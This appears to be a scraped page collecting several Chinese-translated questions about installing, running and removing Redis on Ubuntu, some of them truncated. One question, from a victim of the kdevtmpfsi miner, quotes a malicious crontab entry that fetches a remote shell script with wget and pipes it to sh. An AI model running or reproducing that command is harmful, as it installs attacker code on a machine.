我正在使用 Laravel,但我自己安装了所有(php、mysql、composer、nginx),现在我需要安装 Redis 并配置它,以便我可以将它用于 Laravel 中的队列驱动程序。
如何安装它,因为它无法通过安装 apt-get install redis
我收到此错误:
ubuntu@ubuntu:~$ sudo apt-get install redis
[sudo] password for ubuntu:
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package redis
Run Code Online (Sandbox Code Playgroud) 我按照本指南安装 Redis "How To Install and Configure Redis on Ubuntu 16.04"。但是,现在我想Redis
从我的服务器 ( Ubuntu 16.04
) 中删除。
该命令sudo apt-get purge --auto-remove redis-server
不起作用,因为我Redis
手动安装了..
我现在如何卸载它?
我刚刚安装了 redis,但在尝试使用以下命令启动服务时它根本不起作用:
sudo service redis-server start
这是结果journalctl -xe
:
Subject: Unit redis-server.service has finished shutting down
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit redis-server.service has finished shutting down.
Mar 02 13:22:46 aaa-notebook systemd[1]: redis-server.service: Start request repeated too quickly.
Mar 02 13:22:46 aaa-notebook systemd[1]: Failed to start Redis Datastore Server.
Run Code Online (Sandbox Code Playgroud)
这是结果systemctl status redis-server.service
:
redis-server.service - Redis Datastore Server
Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)
Active: inactive (dead) (Result: resources) since Kam 2017-03-02 13:22:46 WIB; …
Run Code Online (Sandbox Code Playgroud) 我正在尝试根据此处的说明安装 redis:https : //redis.io/download,但出现错误:
创建服务器 TCP 监听套接字 *:6379: bind: Address already in use
当我运行命令时,ps -ef|grep redis
我看到:
nomi 1168 947 0 2434 ? 00:00:00 grep --color=auto redis
Run Code Online (Sandbox Code Playgroud)
我输入kill 1168
1168 是我的 PID 并且进程没有被终止:
“bash: kill: (1168) - 没有这样的过程”
下次我运行命令时,ps -ef|grep redis
我会得到不同的 PID 编号,例如:1170
如何删除此进程?
我们一直在许多 AWS EC2 Ubuntu 实例 (14.04.4 LTS) 上运行 redis-server,没有出现任何问题。我启动了一个测试服务器来尝试升级到 Ubuntu 16.04.1 LTS,现在 redis 无法工作。
如果我尝试手动启动 redis,我会得到以下信息:
~$ sudo service redis-server restart
Job for redis-server.service failed because the control process exited with error code. See "systemctl status redis-server.service" and "journalctl -xe" for details.
Run Code Online (Sandbox Code Playgroud)
错误信息:
~$ systemctl status redis-server.service
? redis-server.service - Advanced key-value store
Loaded: loaded (/lib/systemd/system/redis-server.service; enabled; vendor preset: enabled)
Active: inactive (dead) (Result: exit-code) since Wed 2016-10-19 19:26:06 UTC; 25min ago
Docs: http://redis.io/documentation,
man:redis-server(1)
Process: 3730 ExecStart=/usr/bin/redis-server /etc/redis/redis.conf (code=exited, …
Run Code Online (Sandbox Code Playgroud) 我的 Ubuntu 服务器已经被病毒 kdevtmpfsi 感染,我已经做了几个步骤来解决这个问题,比如所有这些:https : //github.com/docker-library/redis/issues/217。
但是当带有 redis 的 docker 容器运行时,它仍然一次又一次地出现。
但是还有一件事我不能做,当我运行命令for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
查看所有用户 crontab 时,这是我的输出:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis
Run Code Online (Sandbox Code Playgroud)
crontab 中有一个wget
用于下载sh
脚本的可疑作业,我找不到如何删除它,而且我不确定当我使用 redis 打开 docker 容器时这是否会再次出现。
看看上面的图片,运行这个病毒的“用户”是一个用户“999”我不知道这是怎么可能的,因为这个用户不存在。
我能做些什么来解决这个问题?
所以在我的 ubuntu 20.04 服务器上安装 redis 之后。每当我重新启动。高级键值存储出现停止作业。我相信这是 redis 的一部分,但我不知道为什么它不断出现并花费这么长时间。我如何阻止它
我试图将访客端口 6379 转发到主机 6379 和 16379,但没有成功。
我可以从来宾连接到 redis 并设置和获取,尽管我也可以从主机连接到 redis 并获得帮助,但我无法设置或获取.
我没有在来宾或主机上运行防火墙。任何帮助表示赞赏。
来自主机:
host: > redis-cli -h localhost -p 16379
localhost:16379> help
redis-cli 2.8.4
Type: "help @<group>" to get a list of commands in <group>
"help <command>" for help on <command>
"help <tab>" to get a list of possible help topics
"quit" to exit
localhost:16379> help get
GET key
summary: Get the value of a key
since: 1.0.0
group: string
localhost:16379> get 'x'
Error: Connection reset by peer …
Run Code Online (Sandbox Code Playgroud) 我安装了全新安装的 18.04 服务器。该软件包redis-server
似乎无法安装。我不确定为什么:
$ sudo apt install redis-server
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package redis-server
Run Code Online (Sandbox Code Playgroud)
该包似乎不存在:
$ sudo apt-cache search redis
miscfiles - Dictionaries and other interesting files
python-redis - Persistent key-value database with network interface (Python library)
resource-agents - Cluster Resource Agents
Run Code Online (Sandbox Code Playgroud)
我已经跑了apt update
。我猜它缺少一个软件包存储库,但由于这是一个全新安装,我不确定为什么会丢失一个,或者如何修复它。
root@:/etc/newrelic# sudo apt-get install nri-redis
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package …
Run Code Online (Sandbox Code Playgroud)